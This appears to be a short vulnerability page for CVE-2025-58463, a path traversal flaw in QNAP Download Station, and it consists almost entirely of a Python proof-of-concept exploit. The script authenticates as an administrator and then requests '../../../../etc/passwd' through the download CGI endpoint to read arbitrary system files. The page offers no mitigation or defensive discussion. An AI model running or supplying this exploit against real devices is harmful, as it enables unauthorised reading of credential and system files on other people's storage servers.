CVE-2025-58463 QNAP Download Station 路径遍历漏洞

import requests import urllib.parse # CVE-2025-58463 Path Traversal PoC for QNAP Download Station # Target: QNAP Download Station < 5.10.0.304 # Authentication: Requires administrator account def exploit_path_traversal(target_url, username, password, file_path): """ Exploit path traversal vulnerability in QNAP Download Station. Args: target_url: Base URL of QNAP device (e.g., https://192.168.1.100) username: Administrator username password: Administrator password file_path: File path to read (e.g., ../../../../etc/passwd) Returns: File contents if exploitation successful, None otherwise """ # Step 1: Authentication login_url = f"{target_url}/cgi-bin/authLogin.cgi" login_data = { "username": username, "password": password } session = requests.Session() try: auth_response = session.post(login_url, data=login_data, verify=False, timeout=10) # Step 2: Send path traversal request exploit_url = f"{target_url}/cgi-bin/downloadstation.cgi" exploit_params = { "action": "download", "filename": file_path, # Path traversal payload "source": "external" } response = session.get(exploit_url, params=exploit_params, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Successfully exploited CVE-2025-58463") print(f"[+] Retrieved file: {file_path}") return response.text else: print(f"[-] Exploitation failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None # Example usage if __name__ == "__main__": target = "https://192.168.1.100" user = "admin" pwd = "password" # Read /etc/passwd via path traversal payload = "../../../../etc/passwd" result = exploit_path_traversal(target, user, pwd, payload) if result: print("\n--- File Contents ---") print(result)